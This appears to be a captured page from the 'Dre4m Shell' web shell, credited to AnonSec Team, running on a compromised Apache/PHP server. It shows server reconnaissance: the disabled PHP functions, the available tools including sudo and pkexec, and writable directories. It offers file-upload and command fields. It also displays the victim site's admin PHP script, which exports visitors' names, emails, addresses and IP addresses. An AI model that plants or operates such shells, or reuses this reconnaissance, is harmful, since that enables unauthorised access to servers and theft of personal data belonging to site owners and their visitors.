Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.144.136.254
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin/Book-Contact-Enquiry-Export.php
<?php
ob_start();
session_start();
require_once('session-check.php');
require_once('include/db-config.php');

function fetchCombinedData($conn) {
    $sqlCombined = "
        (SELECT ID, Name, EmailID, Company AS Organization, StreetAddress AS Address, City, State, Zip, Country, '' AS Phone, '' AS Fax, Comments, TrainingNeeds AS InterestedIn, Books AS ExtraField1, BookSentOn AS ExtraField2, '' AS PreferredContactMethod, IPAddress, CreatedDate, EditedDate, 'Book Request' AS Source
        FROM maintrainer_book_form)
        UNION ALL
        (SELECT ID, Name, EmailID, Company AS Organization, Address AS StreetAddress, City, State, Zip, '' AS Country, '' AS Phone, '' AS Fax, Comment AS Comments, '' AS InterestedIn, '' AS ExtraField1, '' AS ExtraField2, PreferredContactMethod, IPAddress, CreatedDate, EditedDate, 'Contact Us' AS Source
        FROM maintrainer_contact_us)
        UNION ALL
        (SELECT ID, Name, EmailID, Organization, Address, City, State, Zip, '' AS Country, Phone, Fax, Comment AS Comments, InterestedIn, '' AS ExtraField1, '' AS ExtraField2, PreferredContactMethod, IPAddress, CreatedDate, EditedDate, 'Enquiry Form' AS Source
        FROM maintrainer_enquiry_form)
        ORDER BY EditedDate DESC";

    $result = mysqli_query($conn, $sqlCombined);
    $data = array();

    while ($row = mysqli_fetch_assoc($result)) {
        $data[] = $row;
    }
    return $data;
}

function exportXLS($data) {
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment; filename="Book-Contact-Enquiry_List.xls"');
    $output = fopen('php://output', 'w');
    $headers = array(
        'SI',
        'Type',
        'Name',
        'Email ID',
        'Company',
        'Street Address',
        'City',
        'State',
        'Zip',
        'Country',
        'Phone',
        'Fax',
        'Comments',
        'Training Needs / Interested In',
        'Books',
        'Book Sent On',
        'Preferred Contact',
        'IPAddress',
        'Updated Date'
    );

    fputcsv($output, $headers);
    $index = 1;
    foreach ($data as $row) {
        $rowData = array(
            $index++,
            $row['Source'],
            $row['Name'],
            $row['EmailID'],
            $row['Organization'],
            $row['Address'],
            $row['City'],
            $row['State'],
            $row['Zip'],
            $row['Country'],
            $row['Phone'],
            $row['Fax'],
            $row['Comments'],
            $row['InterestedIn'],
            $row['ExtraField1'],
            !empty($row['ExtraField2']) ? date('M-d-y', strtotime($row['ExtraField2'])) : '',
            $row['PreferredContactMethod'],
            $row['IPAddress'],
            date('M-d-y', strtotime($row['EditedDate']))
        );
        fputcsv($output, $rowData);
    }
    fclose($output);
}

if (isset($_GET['export']) && $_GET['export'] == 'xls') {
    $data = fetchCombinedData($conn);
    exportXLS($data);
    exit;
}
?>

Anon7 - 2022
AnonSec Team